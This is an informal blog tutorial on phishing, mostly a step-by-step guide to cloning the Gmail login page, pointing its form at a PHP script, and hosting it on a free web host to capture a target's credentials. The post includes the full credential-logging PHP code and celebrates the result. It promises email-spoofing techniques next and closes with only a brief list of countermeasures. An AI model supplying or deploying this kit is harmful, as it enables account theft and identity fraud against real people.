Phishing Attacks and Countermeasures

Very interesting topic to share with you all…Its PHISHING……Perhaps the most common attack and easy to implement….in addition…HIGHLY EFFECTIVE!!!! :)

So…

What is the main motive behind PHISHING ATTACK?

Phishing attack aims at stealing one’s credentials for eg:username,password,etc.

It is a very common form of IDENTITY THEFT attack!

So the idea goes like this,

1. The attacker creates a fake login page of a website on which the target user is registered.

2. He/She then uploads this page on any file hosting website and notes down the link for that page.

3. He/She sends the link to the target user and somehow convinces the target to enter his/her credentials.

4. The credentials entered  by the target are sent to the attacker.

So How do you go about this?

Step 1: Go to the website on which user is registered.

Suppose you want to hack the target’s gmail account…go to gmail.com

Step 2: Right click on the gmail login page and select “view page source” option

Step 3: A new window will open giving you the source code. Copy the source code and paste it into notepad file.

Step 4: Search for “form action” keyword in the notepad file.

Step 5: Replace “action” field value to “login.php” as shown in figure.

Step 6: Save this file as “index.html”

Step 7: Now open notepad and type the following code for login.php

Code:-

<?php

header (‘Location: http://www.enteryoursite.com ‘);  //website to which target will go after the username and password is entered

$handle = fopen(“password.txt”, “a”); //creating a file called “password.txt”

foreach($_GET as $variable => $value) //writing the credentials into password.txt file

{

fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

}

fclose($handle); // closing the file

exit; //exit

?>

Step 8: Save this file as “login.php”

Step 9: Now upload index.html and login.php file that we created on a file hosting websites like http://www.000webhost.com/

Step 10: Send the link of “index.html” file to the  target

When the target enters his username and password, it will get stored in “password.txt” file which was created in Step 7.

NICEEEEEEEEE! ISN’T IT?????

To aid phishing attacks we can use email spoofing techniques which we will be seeing soon! :)

As of now we will discuss some Countermeasures for Phising attacks!

Countermeasures:

1. Dont click on suspicious links.

2. Always check URL while entering your credentials for phishing page links.

3. Use antiphishing tools like Avast!,ESET Smart security. There are many anti-phishing toolbars which notify you about phishing pages like http://toolbar.netcraft.com/

4. And lastly, USE YOUR BRAIN!